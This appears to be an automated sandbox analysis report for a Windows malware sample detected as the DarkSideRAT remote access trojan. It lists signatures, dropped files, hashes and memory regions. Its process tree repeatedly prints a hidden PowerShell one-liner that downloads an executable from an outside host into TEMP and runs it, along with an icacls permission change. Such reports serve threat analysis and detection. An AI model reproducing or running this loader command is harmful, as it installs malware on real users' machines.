Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 02:01

General

  • Target
    2026-08-09_e42c3762055e191aa654550f79da57a6_cobalt-strike_icedid_njrat.exe
  • Size 3.3MB
  • Sample260809-cflxdaybna
  • SHA256 ddd77e0128192b68d5697d4a4e9fd7b28df585c0bfe3c57bb16770bf58c5c9be
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Detects DarkSideRAT 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-09_e42c3762055e191aa654550f79da57a6_cobalt-strike_icedid_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-09_e42c3762055e191aa654550f79da57a6_cobalt-strike_icedid_njrat.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4856
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3508
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4056
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4620
          • C:\Users\Admin\AppData\Local\Temp\BK592960.exe
            "C:\Users\Admin\AppData\Local\Temp\BK592960.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4860
            • C:\Windows\System32\label.exe
              "C:\Windows\System32\label.exe"
              6⤵
                PID:1340
      • C:\Users\Admin\AppData\Local\Temp\2026-08-09_e42c3762055e191aa654550f79da57a6_cobalt-strike_icedid_njrat.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-08-09_e42c3762055e191aa654550f79da57a6_cobalt-strike_icedid_njrat.exe" --setup "C:\Program Files\Sn-cheat"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:6112
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2936
          • C:\Windows\system32\cmd.exe
            cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4312
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"
              5⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Downloads MZ/PE file
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2640
              • C:\Users\Admin\AppData\Local\Temp\BK592960.exe
                "C:\Users\Admin\AppData\Local\Temp\BK592960.exe"
                6⤵
                • Executes dropped EXE
                PID:1044
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Sn-cheat" /grant "Users:(OI)(CI)M" /T /Q >nul 2>&1
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3496
          • C:\Windows\system32\icacls.exe
            icacls "C:\Program Files\Sn-cheat" /grant "Users:(OI)(CI)M" /T /Q
            4⤵
            • Modifies file permissions
            PID:3008

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 d29a9934a95d6e40ea50a464cdfbbd49b80c94bca163cb1c9af16c0e656bb11c
          • MD5 SHA1 SHA512 TLSH

          BK592960.exe

          • Path C:\Users\Admin\AppData\Local\Temp\BK592960.exe
          • Size 56KB
          • SHA256 0d0a91c58d930d76a2600f1b75965a4edfb63357284c5965fb3b3f08266f0237
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1340-48-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-38-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-45-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-51-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-58-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-56-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-55-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-57-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-46-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-54-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-40-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-47-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-50-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-49-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-52-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-53-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-59-0x000001E2605E0000-0x000001E260CF9000-memory.dmp

          memory/1340-39-0x000001E260D00000-0x000001E260D01000-memory.dmp

          memory/4620-15-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

          memory/4620-16-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

          memory/4620-5-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

          memory/4620-1-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

          memory/4620-28-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

          memory/4620-4-0x000001C7CDD40000-0x000001C7CDD62000-memory.dmp

          memory/4620-18-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

          memory/4620-0-0x00007FF845DBF000-0x00007FF845DC0000-memory.dmp

          memory/4620-17-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

          memory/4620-14-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

          memory/4620-13-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

          memory/4620-10-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

          memory/4620-9-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

          memory/4620-8-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

          memory/4620-7-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

          memory/4620-6-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp